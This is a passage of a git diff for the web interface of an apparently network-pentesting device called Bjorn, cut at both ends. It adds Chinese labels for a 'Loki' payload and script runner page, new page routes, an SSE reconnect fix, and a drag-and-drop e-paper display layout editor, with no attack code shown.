"loki.not_ready": "未就绪", + "loki.run": "运行", + "loki.save": "保存", + "loki.new": "新建", + "loki.delete": "删除", + "loki.cancel": "取消", + "loki.output": "输出", + "loki.payloads": "有效载荷", + "loki.custom_scripts": "自定义脚本", + "loki.jobs": "任务", + "loki.clear_completed": "清除已完成", + "loki.script": "脚本", + "loki.status_col": "状态", + "loki.started": "已启动", + "loki.actions": "操作", + "loki.no_payloads": "无内置有效载荷", + "loki.no_scripts": "无已保存脚本", + "loki.no_jobs": "暂无任务", + "loki.no_output": "无输出", + "loki.empty_script": "脚本为空", + "loki.job_started": "任务已启动:{id}", + "loki.run_error": "运行脚本失败", + "loki.script_name_prompt": "脚本名称:", + "loki.saved": "脚本已保存", + "loki.save_error": "保存脚本失败", + "loki.confirm_delete": "删除脚本 '{name}'?", + "loki.quick_placeholder": "在此输入快速文本...", + "loki.quick_send": "输入", + "loki.quick_sent": "文本已发送至目标", + "loki.quick_error": "发送文本失败" } \ No newline at end of file diff --git a/web/js/app.js b/web/js/app.js index 91c1ef2..34b4c63 100644 --- a/web/js/app.js +++ b/web/js/app.js @@ -57,8 +57,11 @@ function bootUI() { router.route('/backup', () => import('./pages/backup.js')); router.route('/web-enum', () => import('./pages/web-enum.js')); router.route('/zombieland', () => import('./pages/zombieland.js')); - router.route('/ai-dashboard', () => import('./pages/rl-dashboard.js?t=' + Date.now())); + router.route('/ai-dashboard', () => import('./pages/rl-dashboard.js')); router.route('/bjorn-debug', () => import('./pages/bjorn-debug.js')); + router.route('/sentinel', () => import('./pages/sentinel.js')); + router.route('/bifrost', () => import('./pages/bifrost.js')); + router.route('/loki', () => import('./pages/loki.js')); router.route('/bjorn', () => import('./pages/bjorn.js')); // 404 fallback @@ -408,6 +411,9 @@ const PAGES = [ { path: '/backup', icon: 'backup_update.png', label: 'nav.backup' }, { path: '/web-enum', icon: 'web_enum.png', label: 'nav.webEnum' }, { path: '/zombieland', icon: 'zombieland.png', label: 'nav.zombieland' }, + { path: '/sentinel', icon: 'network.png', label: 'nav.sentinel' }, + { path: '/bifrost', icon: 'network.png', label: 'nav.bifrost' }, + { path: '/loki', icon: 'actions_launcher.png', label: 'nav.loki' }, { path: '/ai-dashboard', icon: 'ai_dashboard.png', label: 'nav.ai_dashboard' }, { path: '/bjorn-debug', icon: 'database.png', label: 'Bjorn Debug' }, ]; @@ -598,6 +604,11 @@ function wireSettingsModal() { const panel = modal.querySelector(`#tab-${tabId}`); if (panel) panel.hidden = false; if (tabId === 'config') settingsConfig.loadConfig(cfgHost); + if (tabId === 'theme') { + theme.disableOverlay(); + } else { + theme.restoreOverlay(); + } }); // Notifications switch @@ -627,6 +638,7 @@ function toggleSettings() { const isOpen = backdrop.style.display === 'flex'; if (isOpen) { + theme.restoreOverlay(); backdrop.style.display = 'none'; backdrop.setAttribute('aria-hidden', 'true'); } else { diff --git a/web/js/core/console-sse.js b/web/js/core/console-sse.js index 67893c0..1c78ee9 100644 --- a/web/js/core/console-sse.js +++ b/web/js/core/console-sse.js @@ -41,6 +41,8 @@ const LEVEL_CLASSES = { let evtSource = null; let reconnectCount = 0; let reconnectTimer = null; +let healthyMessageCount = 0; +const HEALTHY_THRESHOLD = 5; // messages needed before resetting reconnect counter let isUserScrolling = false; let autoScroll = true; @@ -364,7 +366,11 @@ function connectSSE() { evtSource = new EventSource('/stream_logs'); evtSource.onmessage = (evt) => { - reconnectCount = 0; // healthy connection resets counter + // Only reset reconnect counter after sustained healthy connection + healthyMessageCount++; + if (healthyMessageCount >= HEALTHY_THRESHOLD) { + reconnectCount = 0; + } const raw = evt.data; if (!raw) return; @@ -405,6 +411,7 @@ function connectSSE() { }; evtSource.onerror = () => { + healthyMessageCount = 0; disconnectSSE(); scheduleReconnect(); }; diff --git a/web/js/core/epd-editor.js b/web/js/core/epd-editor.js new file mode 100644 index 0000000..ef96978 --- /dev/null +++ b/web/js/core/epd-editor.js @@ -0,0 +1,1157 @@ +/** + * EPD Layout Editor — visual drag-and-drop layout editor for e-paper displays. + * + * Features: drag/resize elements, grid/snap, display modes (Color/NB/BN), + * add/delete elements, import/export JSON, undo, font size editing, + * real icon previews, live EPD preview, rotation, invert, + * and multiple EPD types. + */ +import { el, toast, empty } from './dom.js'; +import { api } from './api.js'; +import { t as i18n } from './i18n.js'; + +/* ── Helpers ─────────────────────────────────────────────── */ +const L = (k, v) => i18n(k, v); +const Lx = (k, fb) => { const o = i18n(k); return o && o !== k ? o : fb; }; +const SVG_NS = 'http://www.w3.org/2000/svg'; +const XLINK_NS = 'http://www.w3.org/1999/xlink'; +const clamp = (v, lo, hi) => Math.max(lo, Math.min(hi, v)); +const snapVal = (v, g) => g > 1 ? Math.round(v / g) * g : v; +const deepClone = (o) => JSON.parse(JSON.stringify(o)); +const isLine = (name) => name.startsWith('line_'); + +/* ── Icon name → BMP filename mapping ────────────────────── */ +const ICON_FILES = { + wifi_icon: 'wifi.bmp', + bt_icon: 'bluetooth.bmp', + usb_icon: 'usb.bmp', + eth_icon: 'ethernet.bmp', + battery_icon: '100.bmp', + status_image: 'bjorn1.bmp', + main_character: 'bjorn1.bmp', + frise: 'frise.bmp', + // Stats row icons (used inside stats_row representative content) + _stat_target: 'target.bmp', + _stat_port: 'port.bmp', + _stat_vuln: 'vuln.bmp', + _stat_cred: 'cred.bmp', + _stat_zombie: 'zombie.bmp', + _stat_data: 'data.bmp', +}; + +/* ── Element type → color mapping ────────────────────────── */ +const TYPE_COLORS = { + icon: { fill: 'rgba(66,133,244,0.22)', stroke: '#4285f4' }, + text: { fill: 'rgba(52,168,83,0.22)', stroke: '#34a853' }, + bar: { fill: 'rgba(251,188,4,0.22)', stroke: '#fbbc04' }, + character: { fill: 'rgba(156,39,176,0.22)', stroke: '#9c27b0' }, + area: { fill: 'rgba(255,87,34,0.18)', stroke: '#ff5722' }, + line: { fill: 'none', stroke: '#ea4335' }, + default: { fill: 'rgba(158,158,158,0.16)', stroke: '#9e9e9e' }, +}; + +function guessType(name) { + if (isLine(name)) return 'line'; + if (/icon|bt_|wifi|usb|eth|battery/.test(name)) return 'icon'; + if (/text|title|status_line|ip_/.test(name)) return 'text'; + if (/bar|progress|histogram/.test(name)) return 'bar'; + if (/character|frise/.test(name)) return 'character'; + if (/area|comment|lvl|box|row|count|network/.test(name)) return 'area'; + return 'default'; +} + +function colorFor(name, displayMode) { + const type = guessType(name); + if (displayMode === 'nb') return { fill: 'rgba(30,30,30,0.22)', stroke: '#222' }; + if (displayMode === 'bn') return { fill: 'rgba(220,220,220,0.22)', stroke: '#ccc' }; + return TYPE_COLORS[type] || TYPE_COLORS.default; +} + +/* ── State ───────────────────────────────────────────────── */ +let _tracker = null; +let _sidebarEl = null; +let _mainEl = null; +let _svg = null; +let _layout = null; +let _originalLayout = null; +let _layouts = null; +let _selectedKey = null; +let _zoom = 2; +let _gridSize = 10; +let _snapEnabled = true; +let _labelsVisible = true; +let _displayMode = 'color'; // 'color' | 'nb' | 'bn' +let _rotation = 0; // 0, 90, 180, 270 +let _invertColors = false; +let _undoStack = []; +let _dragging = null; +let _mounted = false; +let _activated = false; +let _iconCache = new Map(); // name → dataURL +let _liveTimer = null; + +/* ── Public API ──────────────────────────────────────────── */ +export function mount(tracker) { + _tracker = tracker; + _mounted = true; + _activated = false; +} + +export function unmount() { + stopLivePreview(); + _selectedKey = null; + _dragging = null; + _layout = null; + _originalLayout = null; + _layouts = null; + _undoStack = []; + _svg = null; + _sidebarEl = null; + _mainEl = null; + _mounted = false; + _activated = false; + _iconCache.clear(); +} + +export async function activate(sidebarEl, mainEl) { + _sidebarEl = sidebarEl; + _mainEl = mainEl; + // Ensure focusable for arrow key navigation + if (_mainEl && !_mainEl.getAttribute('tabindex')) _mainEl.setAttribute('tabindex', '0'); + if (_activated && _layout) { + renderAll(); + startLivePreview(); + return; + } + _activated = true; + await loadFromServer(); + preloadIcons(); + startLivePreview(); +} + +/* ── Icon Preloading ─────────────────────────────────────── */ +function preloadIcons() { + for (const [elemName, filename] of Object.entries(ICON_FILES)) { + if (_iconCache.has(elemName)) continue; + const img = new Image(); + img.crossOrigin = 'anonymous'; + img.onload = () => { + // Convert to data URL via canvas for SVG embedding + const c = document.createElement('canvas'); + c.width = img.naturalWidth; + c.height = img.naturalHeight; + const ctx = c.getContext('2d'); + ctx.drawImage(img, 0, 0); + try { + _iconCache.set(elemName, c.toDataURL('image/png')); + // Re-render to show icons once loaded + if (_svg && _layout) renderAll(); + } catch { /* CORS fallback: just skip icon preview */ } + }; + img.src = `/static_images/${filename}`; + } +} + +/* ── Live EPD Preview ────────────────────────────────────── */ +function startLivePreview() { + stopLivePreview(); + _liveTimer = setInterval(() => { + const img = _mainEl?.querySelector?.('.epd-live-img'); + if (img) img.src = `/web/screen.png?t=${Date.now()}`; + }, 4000); +} + +function stopLivePreview() { + if (_liveTimer) { clearInterval(_liveTimer); _liveTimer = null; } +} + +/* ── Server IO ───────────────────────────────────────────── */ +async function loadFromServer(epdType) { + try { + const [layoutsRes, layoutRes] = await Promise.all([ + api.get('/api/epd/layouts', { timeout: 10000, retries: 0 }), + api.get(epdType ? `/api/epd/layout?epd_type=${epdType}` : '/api/epd/layout', { timeout: 10000, retries: 0 }), + ]); + _layouts = layoutsRes; + _layout = deepClone(layoutRes); + _originalLayout = deepClone(layoutRes); + _undoStack = []; + _selectedKey = null; + renderAll(); + } catch (err) { + toast(`EPD Layout: ${err.message}`, 3000, 'error'); + } +} + +async function saveToServer() { + if (!_layout) return; + try { + await api.post('/api/epd/layout', _layout, { timeout: 15000, retries: 0 }); + _originalLayout = deepClone(_layout); + toast(Lx('epd.saved', 'Layout saved'), 2000, 'success'); + } catch (err) { + toast(`Save failed: ${err.message}`, 3000, 'error'); + } +} + +async function resetToDefault() { + if (!confirm(Lx('epd.confirmReset', 'Reset layout to built-in defaults?'))) return; + try { + await api.post('/api/epd/layout/reset', {}, { timeout: 15000, retries: 0 }); + await loadFromServer(); + toast(Lx('epd.reset', 'Layout reset to defaults'), 2000, 'success'); + } catch (err) { + toast(`Reset failed: ${err.message}`, 3000, 'error'); + } +} + +/* ── Undo ────────────────────────────────────────────────── */ +function pushUndo() { + if (!_layout) return; + _undoStack.push(deepClone(_layout)); + if (_undoStack.length > 50) _undoStack.shift(); +} + +function undo() { + if (!_undoStack.length) return; + _layout = _undoStack.pop(); + renderAll(); +} + +/* ── Render All ──────────────────────────────────────────── */ +function renderAll() { + if (!_sidebarEl || !_mainEl || !_layout) return; + renderMain(); + renderSidebar(); +} + +/* ── Main Area ───────────────────────────────────────────── */ +function renderMain() { + empty(_mainEl); + const meta = _layout.meta || {}; + const W = meta.ref_width || 122; + const H = meta.ref_height || 250; + + // Toolbar + _mainEl.appendChild(buildToolbar()); + + // Content row: canvas + live preview side by side + const contentRow = el('div', { class: 'epd-content-row' }); + + // Canvas wrapper — NO explicit width/height on wrapper, let SVG size it + const wrapper = el('div', { class: `epd-canvas-wrapper mode-${_displayMode}${_invertColors ? ' inverted' : ''}` }); + + // SVG + const isRotated = _rotation === 90 || _rotation === 270; + const svgW = isRotated ? H : W; + const svgH = isRotated ? W : H; + + const svg = document.createElementNS(SVG_NS, 'svg'); + svg.setAttribute('viewBox', `0 0 ${svgW} ${svgH}`); + svg.setAttribute('width', String(svgW * _zoom)); + svg.setAttribute('height', String(svgH * _zoom)); + svg.style.display = 'block'; + _svg = svg; + + // Rotation transform group + const rotG = document.createElementNS(SVG_NS, 'g'); + if (_rotation === 90) rotG.setAttribute('transform', `rotate(90 ${svgW / 2} ${svgH / 2}) translate(${(svgW - svgH) / 2} ${(svgH - svgW) / 2})`); + else if (_rotation === 180) rotG.setAttribute('transform', `rotate(180 ${W / 2} ${H / 2})`); + else if (_rotation === 270) rotG.setAttribute('transform', `rotate(270 ${svgW / 2} ${svgH / 2}) translate(${(svgW - svgH) / 2} ${(svgH - svgW) / 2})`); + + // Background rect + let bgFill = '#fff'; + if (_displayMode === 'bn') bgFill = '#111'; + if (_invertColors) bgFill = bgFill === '#fff' ? '#111' : '#fff'; + + const bgRect = document.createElementNS(SVG_NS, 'rect'); + bgRect.setAttribute('width', String(W)); + bgRect.setAttribute('height', String(H)); + bgRect.setAttribute('fill', bgFill); + rotG.appendChild(bgRect); + + // Grid + if (_gridSize > 1) { + const gridG = document.createElementNS(SVG_NS, 'g'); + const isDark = (_displayMode === 'bn') !== _invertColors; + const gridColor = isDark ? 'rgba(255,255,255,0.08)' : 'rgba(0,0,0,0.06)'; + for (let x = _gridSize; x < W; x += _gridSize) { + const l = document.createElementNS(SVG_NS, 'line'); + l.setAttribute('x1', String(x)); l.setAttribute('y1', '0'); + l.setAttribute('x2', String(x)); l.setAttribute('y2', String(H)); + l.setAttribute('stroke', gridColor); l.setAttribute('stroke-width', '0.3'); + gridG.appendChild(l); + } + for (let y = _gridSize; y < H; y += _gridSize) { + const l = document.createElementNS(SVG_NS, 'line'); + l.setAttribute('x1', '0'); l.setAttribute('y1', String(y)); + l.setAttribute('x2', String(W)); l.setAttribute('y2', String(y)); + l.setAttribute('stroke', gridColor); l.setAttribute('stroke-width', '0.3'); + gridG.appendChild(l); + } + rotG.appendChild(gridG); + } + + // Elements — sorted: lines behind, then largest area first + const elements = _layout.elements || {}; + const sortedKeys = Object.keys(elements).sort((a, b) => { + if (isLine(a) && !isLine(b)) return -1; + if (!isLine(a) && isLine(b)) return 1; + const aA = (elements[a].w || W) * (elements[a].h || 1); + const bA = (elements[b].w || W) * (elements[b].h || 1); + return bA - aA; + }); + + const elemsG = document.createElementNS(SVG_NS, 'g'); + for (const key of sortedKeys) { + elemsG.appendChild(createSvgElement(key, elements[key], W, H)); + } + rotG.appendChild(elemsG); + + // Resize handles (on top, only for selected non-line element) + if (_selectedKey && !isLine(_selectedKey) && elements[_selectedKey]) { + const e = elements[_selectedKey]; + const handlesG = document.createElementNS(SVG_NS, 'g'); + const hs = 2.5; + const corners = [ + { cx: e.x, cy: e.y, cursor: 'nw-resize', corner: 'nw' }, + { cx: e.x + (e.w || 0), cy: e.y, cursor: 'ne-resize', corner: 'ne' }, + { cx: e.x, cy: e.y + (e.h || 0), cursor: 'sw-resize', corner: 'sw' }, + { cx: e.x + (e.w || 0), cy: e.y + (e.h || 0), cursor: 'se-resize', corner: 'se' }, + ]; + for (const c of corners) { + const r = document.createElementNS(SVG_NS, 'rect'); + r.setAttribute('x', String(c.cx - hs)); + r.setAttribute('y', String(c.cy - hs)); + r.setAttribute('width', String(hs * 2)); + r.setAttribute('height', String(hs * 2)); + r.setAttribute('fill', '#fff'); + r.setAttribute('stroke', '#4285f4'); + r.setAttribute('stroke-width', '0.8'); + r.setAttribute('data-handle', c.corner); + r.setAttribute('data-key', _selectedKey); + r.style.cursor = c.cursor; + handlesG.appendChild(r); + } + rotG.appendChild(handlesG); + } + + svg.appendChild(rotG); + wrapper.appendChild(svg); + contentRow.appendChild(wrapper); + + // Live EPD preview panel + const livePanel = el('div', { class: 'epd-live-panel' }); + livePanel.appendChild(el('h4', { style: 'margin:0 0 8px;text-align:center' }, ['Live EPD'])); + const liveImg = el('img', { + class: 'epd-live-img', + src: `/web/screen.png?t=${Date.now()}`, + alt: 'Live EPD', + }); + liveImg.onerror = () => { liveImg.style.opacity = '0.3'; }; + liveImg.onload = () => { liveImg.style.opacity = '1'; }; + livePanel.appendChild(liveImg); + livePanel.appendChild(el('p', { style: 'text-align:center;font-size:11px;opacity:.5;margin:4px 0 0' }, [ + `${W}x${H}px — refreshes every 4s` + ])); + contentRow.appendChild(livePanel); + + _mainEl.appendChild(contentRow); + + // Bind pointer events on SVG + bindCanvasEvents(svg, W, H); +} + +/* ── Representative content for preview ──────────────────── */ +const PREVIEW_TEXT = { + title: 'BJORN', + ip_text: '192.168.x.x', + status_line1: 'IDLE', + status_line2: 'Ready', + lvl_box: 'LVL\n20', + network_kb: 'M\n0', + attacks_count: 'X\n0', +}; + +/* Stats row: 6 icons at hardcoded x offsets inside the row bounds */ +const STATS_ICONS = ['target', 'port', 'vuln', 'cred', 'zombie', 'data']; +const STATS_X_OFFSETS = [0, 20, 40, 60, 80, 100]; // ref-space offsets from stats_row.x + +function svgText(x, y, text, fontSize, fill, opts = {}) { + const t = document.createElementNS(SVG_NS, 'text'); + t.setAttribute('x', String(x)); + t.setAttribute('y', String(y)); + t.setAttribute('font-size', String(fontSize)); + t.setAttribute('fill', fill); + t.setAttribute('pointer-events', 'none'); + t.setAttribute('font-family', opts.font || 'monospace'); + if (opts.anchor) t.setAttribute('text-anchor', opts.anchor); + if (opts.weight) t.setAttribute('font-weight', opts.weight); + t.textContent = text; + return t; +} + +function addRepresentativeContent(g, key, x, y, w, h, isDark) { + const textFill = isDark ? '#ccc' : '#222'; + const mutedFill = isDark ? '#888' : '#999'; + + // Title — large centered text "BJORN" + if (key === 'title') { + const fs = Math.min(h * 0.75, 10); + g.appendChild(svgText(x + w / 2, y + h * 0.78, 'BJORN', fs, textFill, { anchor: 'middle', weight: 'bold', font: 'sans-serif' })); + return; + } + + // Stats row — 6 stat icons with count text below each + if (key === 'stats_row') { + const iconSize = Math.min(h * 0.6, 12); + const statNames = ['target', 'port', 'vuln', 'cred', 'zombie', 'data']; + for (let i = 0; i < 6; i++) { + const ox = x + STATS_X_OFFSETS[i] * (w / 118); + // Try to show actual stat icon + const statUrl = _iconCache.get(`_stat_${statNames[i]}`); + if (statUrl) { + const img = document.createElementNS(SVG_NS, 'image'); + img.setAttributeNS(XLINK_NS, 'href', statUrl); + img.setAttribute('x', String(ox)); + img.setAttribute('y', String(y + 1)); + img.setAttribute('width', String(iconSize)); + img.setAttribute('height', String(iconSize)); + img.setAttribute('preserveAspectRatio', 'xMidYMid meet'); + img.setAttribute('pointer-events', 'none'); + if (_invertColors) img.setAttribute('filter', 'invert(1)'); + g.appendChild(img); + } else { + // Fallback: mini box placeholder + const sr = document.createElementNS(SVG_NS, 'rect'); + sr.setAttribute('x', String(ox)); + sr.setAttribute('y', String(y + 1)); + sr.setAttribute('width', String(iconSize)); + sr.setAttribute('height', String(iconSize)); + sr.setAttribute('fill', isDark ? 'rgba(200,200,200,0.15)' : 'rgba(0,0,0,0.08)'); + sr.setAttribute('stroke', mutedFill); + sr.setAttribute('stroke-width', '0.3'); + sr.setAttribute('rx', '0.5'); + sr.setAttribute('pointer-events', 'none'); + g.appendChild(sr); + } + // Count text below icon + g.appendChild(svgText(ox + iconSize / 2, y + iconSize + 5, '0', 3, mutedFill, { anchor: 'middle' })); + } + return; + } + + // IP text + if (key === 'ip_text') { + const fs = Math.min(h * 0.7, 6); + g.appendChild(svgText(x + 1, y + fs + 0.5, '192.168.x.x', fs, textFill)); + return; + } + + // Status lines + if (key === 'status_line1') { + const fs = Math.min(h * 0.7, 6); + g.appendChild(svgText(x + 1, y + fs + 0.5, 'IDLE', fs, textFill, { weight: 'bold' })); + return; + } + if (key === 'status_line2') { + const fs = Math.min(h * 0.7, 5); + g.appendChild(svgText(x + 1, y + fs + 0.5, 'Ready', fs, mutedFill)); + return; + } + + // Progress bar — filled portion + if (key === 'progress_bar') { + const fill = document.createElementNS(SVG_NS, 'rect'); + fill.setAttribute('x', String(x)); + fill.setAttribute('y', String(y)); + fill.setAttribute('width', String(w * 0.65)); + fill.setAttribute('height', String(h)); + fill.setAttribute('fill', isDark ? 'rgba(200,200,200,0.3)' : 'rgba(0,0,0,0.15)'); + fill.setAttribute('pointer-events', 'none'); + fill.setAttribute('rx', '0.5'); + g.appendChild(fill); + return; + } + + // Comment area — multiline text preview + if (key === 'comment_area') { + const fs = 4; + const lines = ['Feeling like a', 'cyber-sleuth in', "\'Sneakers\'."]; + for (let i = 0; i < lines.length; i++) { + g.appendChild(svgText(x + 2, y + 6 + i * (fs + 1.5), lines[i], fs, mutedFill, { font: 'sans-serif' })); + } + return; + } + + // LVL box — label + number + if (key === 'lvl_box') { + const fs = Math.min(w * 0.35, 5); + g.appendChild(svgText(x + w / 2, y + fs + 1, 'LvL', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + g.appendChild(svgText(x + w / 2, y + h * 0.8, '20', fs * 1.1, textFill, { anchor: 'middle', weight: 'bold', font: 'sans-serif' })); + return; + } + + // Network KB + if (key === 'network_kb') { + const fs = Math.min(w * 0.35, 5); + g.appendChild(svgText(x + w / 2, y + fs + 1, 'M', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + g.appendChild(svgText(x + w / 2, y + h * 0.8, '0', fs * 1.1, textFill, { anchor: 'middle', weight: 'bold', font: 'sans-serif' })); + return; + } + + // Attacks count + if (key === 'attacks_count') { + const fs = Math.min(w * 0.35, 5); + g.appendChild(svgText(x + w / 2, y + fs + 1, 'X', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + g.appendChild(svgText(x + w / 2, y + h * 0.8, '29', fs * 1.1, textFill, { anchor: 'middle', weight: 'bold', font: 'sans-serif' })); + return; + } + + // CPU / Memory histograms — simple bar preview + if (key === 'cpu_histogram' || key === 'mem_histogram') { + const label = key === 'cpu_histogram' ? 'C' : 'M'; + const barH = h * 0.6; + const bar = document.createElementNS(SVG_NS, 'rect'); + bar.setAttribute('x', String(x)); + bar.setAttribute('y', String(y + h - barH)); + bar.setAttribute('width', String(w)); + bar.setAttribute('height', String(barH)); + bar.setAttribute('fill', isDark ? 'rgba(200,200,200,0.2)' : 'rgba(0,0,0,0.1)'); + bar.setAttribute('pointer-events', 'none'); + g.appendChild(bar); + g.appendChild(svgText(x + w / 2, y + h + 4, label, 3, mutedFill, { anchor: 'middle' })); + return; + } + + // Main character — note: display.py auto-centers at bottom, + // layout rect is a bounding hint only + if (key === 'main_character' && !_iconCache.has(key)) { + const fs = 3; + g.appendChild(svgText(x + w / 2, y + h / 2 - 2, '\u2699 auto-placed', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + g.appendChild(svgText(x + w / 2, y + h / 2 + 3, 'by renderer', fs, mutedFill, { anchor: 'middle', font: 'sans-serif' })); + return; + } +} + +function createSvgElement(key, elem, W, H) { + const colors = colorFor(key, _displayMode); + const selected = key === _selectedKey; + const isDark = (_displayMode === 'bn') !== _invertColors; + + if (isLine(key)) { + const g = document.createElementNS(SVG_NS, 'g'); + g.setAttribute('data-key', key); + g.style.cursor = 'ns-resize'; + const y = elem.y || 0; + // Hit area + const hitLine = document.createElementNS(SVG_NS, 'line'); + hitLine.setAttribute('x1', '0'); hitLine.setAttribute('y1', String(y)); + hitLine.setAttribute('x2', String(W)); hitLine.setAttribute('y2', String(y)); + hitLine.setAttribute('stroke', 'transparent'); hitLine.setAttribute('stroke-width', '6'); + g.appendChild(hitLine); + // Visible line + const visLine = document.createElementNS(SVG_NS, 'line'); + visLine.setAttribute('x1', '0'); visLine.setAttribute('y1', String(y)); + visLine.setAttribute('x2', String(W)); visLine.setAttribute('y2', String(y)); + visLine.setAttribute('stroke', selected ? '#4285f4' : colors.stroke); + visLine.setAttribute('stroke-width', selected ? '1.5' : '0.8'); + visLine.setAttribute('stroke-dasharray', selected ? '4,2' : '3,3'); + g.appendChild(visLine); + // Label + if (_labelsVisible) { + const txt = document.createElementNS(SVG_NS, 'text'); + txt.setAttribute('x', '2'); + txt.setAttribute('y', String(y - 1.5)); + txt.setAttribute('font-size', '3.5'); + txt.setAttribute('fill', isDark ? '#aaa' : '#666'); + txt.setAttribute('pointer-events', 'none'); + txt.textContent = key.replace('line_', ''); + g.appendChild(txt); + } + return g; + } + + // Rectangle element + const g = document.createElementNS(SVG_NS, 'g'); + g.setAttribute('data-key', key); + g.style.cursor = 'move'; + + const x = elem.x || 0; + const y = elem.y || 0; + const w = elem.w || 10; + const h = elem.h || 10; + + const r = document.createElementNS(SVG_NS, 'rect'); + r.setAttribute('x', String(x)); + r.setAttribute('y', String(y)); + r.setAttribute('width', String(w)); + r.setAttribute('height', String(h)); + r.setAttribute('fill', colors.fill); + r.setAttribute('stroke', selected ? '#4285f4' : colors.stroke); + r.setAttribute('stroke-width', selected ? '1.2' : '0.5'); + r.setAttribute('rx', '0.5'); + if (selected) { + r.setAttribute('stroke-dasharray', '3,1'); + } + g.appendChild(r); + + // Icon image overlay (if available) + const iconUrl = _iconCache.get(key); + if (iconUrl) { + const img = document.createElementNS(SVG_NS, 'image'); + img.setAttributeNS(XLINK_NS, 'href', iconUrl); + img.setAttribute('x', String(x)); + img.setAttribute('y', String(y)); + img.setAttribute('width', String(w)); + img.setAttribute('height', String(h)); + img.setAttribute('preserveAspectRatio', 'xMidYMid meet'); + img.setAttribute('pointer-events', 'none'); + if (_invertColors) img.setAttribute('filter', 'invert(1)'); + g.appendChild(img); + } + + // Representative content preview (text, bars, stat icons) + addRepresentativeContent(g, key, x, y, w, h, isDark); + + // Label (name badge — top-left corner, small) + if (_labelsVisible) { + const fontSize = Math.min(3, Math.max(1.8, h * 0.2)); + const txt = document.createElementNS(SVG_NS, 'text'); + txt.setAttribute('x', String(x + 1)); + txt.setAttribute('y', String(y + fontSize + 0.3)); + txt.setAttribute('font-size', fontSize.toFixed(1)); + txt.setAttribute('fill', isDark ? 'rgba(180,180,180,0.6)' : 'rgba(60,60,60,0.5)'); + txt.setAttribute('pointer-events', 'none'); + txt.setAttribute('font-family', 'monospace'); + txt.textContent = key; + g.appendChild(txt); + } + + return g; +} + +/* ── Toolbar ─────────────────────────────────────────────── */ +function buildToolbar() { + const bar = el('div', { class: 'epd-editor-toolbar' }); + + // Row 1 + const row1 = el('div', { class: 'epd-toolbar-row' }); + + // EPD Type selector + const epdSelect = el('select', { class: 'select', title: 'EPD Type' }); + if (_layouts?.layouts) { + const currentType = _layouts.current_epd_type || 'epd2in13_V4'; + for (const [epdType, info] of Object.entries(_layouts.layouts)) { + const opt = el('option', { value: epdType }, [ + `${epdType} (${info.meta?.ref_width || '?'}x${info.meta?.ref_height || '?'})` + ]); + if (epdType === currentType) opt.selected = true; + epdSelect.appendChild(opt); + } + } + epdSelect.addEventListener('change', async () => { + pushUndo(); + await loadFromServer(epdSelect.value); + }); + row1.appendChild(epdSelect); + + // Display mode selector + const modeSelect = el('select', { class: 'select', title: 'Display Mode' }); + [['color', 'Color'], ['nb', 'NB (Black/White)'], ['bn', 'BN (White/Black)']].forEach(([val, label]) => { + const opt = el('option', { value: val }, [label]); + if (val === _displayMode) opt.selected = true; + modeSelect.appendChild(opt); + }); + modeSelect.addEventListener('change', () => { + _displayMode = modeSelect.value; + renderAll(); + }); + row1.appendChild(modeSelect); + + // Rotation selector + const rotSelect = el('select', { class: 'select', title: 'Rotation' }); + [[0, '0\u00b0'], [90, '90\u00b0'], [180, '180\u00b0'], [270, '270\u00b0']].forEach(([val, label]) => { + const opt = el('option', { value: String(val) }, [label]); + if (val === _rotation) opt.selected = true; + rotSelect.appendChild(opt); + }); + rotSelect.addEventListener('change', () => { + _rotation = parseInt(rotSelect.value) || 0; + renderAll(); + }); + row1.appendChild(rotSelect); + + // Invert toggle + const invertBtn = el('button', { + class: `btn${_invertColors ? ' active' : ''}`, + type: 'button', title: 'Invert Colors', + }, ['Invert']); + invertBtn.addEventListener('click', () => { + _invertColors = !_invertColors; + invertBtn.classList.toggle('active', _invertColors); + renderAll(); + }); + row1.appendChild(invertBtn); + + // Zoom + const zoomWrap = el('span', { class: 'epd-zoom-wrap' }); + const zoomLabel = el('span', { class: 'epd-zoom-label' }, [`${Math.round(_zoom * 100)}%`]); + const zoomRange = el('input', { + type: 'range', class: 'range epd-zoom-range', + min: '1', max: '6', step: '0.5', value: String(_zoom), + }); + zoomRange.addEventListener('input', () => { + _zoom = parseFloat(zoomRange.value) || 2; + zoomLabel.textContent = `${Math.round(_zoom * 100)}%`; + renderAll(); + }); + zoomWrap.append(el('span', {}, ['Zoom:']), zoomRange, zoomLabel); + row1.appendChild(zoomWrap); + + bar.appendChild(row1); + + // Row 2 + const row2 = el('div', { class: 'epd-toolbar-row' }); + + // Grid size + const gridSelect = el('select', { class: 'select', title: 'Grid Size' }); + [0, 5, 10, 15, 20].forEach(g => { + const opt = el('option', { value: String(g) }, [g === 0 ? 'No grid' : `${g}px`]); + if (g === _gridSize) opt.selected = true; + gridSelect.appendChild(opt); + }); + gridSelect.addEventListener('change', () => { + _gridSize = parseInt(gridSelect.value) || 0; + renderAll(); + }); + row2.appendChild(gridSelect); + + // Snap + const snapBtn = el('button', { + class: `btn${_snapEnabled ? ' active' : ''}`, type: 'button', + }, [_snapEnabled ? 'Snap ON' : 'Snap OFF']); + snapBtn.addEventListener('click', () => { + _snapEnabled = !_snapEnabled; + snapBtn.textContent = _snapEnabled ? 'Snap ON' : 'Snap OFF'; + snapBtn.classList.toggle('active', _snapEnabled); + }); + row2.appendChild(snapBtn); + + // Labels + const labelsBtn = el('button', { + class: `btn${_labelsVisible ? ' active' : ''}`, type: 'button', + }, [_labelsVisible ? 'Labels ON' : 'Labels OFF']); + labelsBtn.addEventListener('click', () => { + _labelsVisible = !_labelsVisible; + labelsBtn.textContent = _labelsVisible ? 'Labels ON' : 'Labels OFF'; + labelsBtn.classList.toggle('active', _labelsVisible); + renderAll(); + }); + row2.appendChild(labelsBtn); + + // Undo + row2.appendChild(mkBtn('Undo', undo, 'Undo (Ctrl+Z)')); + + // Add element + row2.appendChild(mkBtn('+ Add', showAddModal, 'Add Element')); + + // Import / Export + row2.appendChild(mkBtn('Import', importLayout, 'Import Layout JSON')); + row2.appendChild(mkBtn('Export', exportLayout, 'Export Layout JSON')); + + // Save + const saveBtn = mkBtn('Save', saveToServer, 'Save to Device'); + saveBtn.style.fontWeight = '800'; + row2.appendChild(saveBtn); + + // Reset + const resetBtn = el('button', { class: 'btn danger', type: 'button', title: 'Reset to Defaults' }, ['Reset']); + resetBtn.addEventListener('click', resetToDefault); + 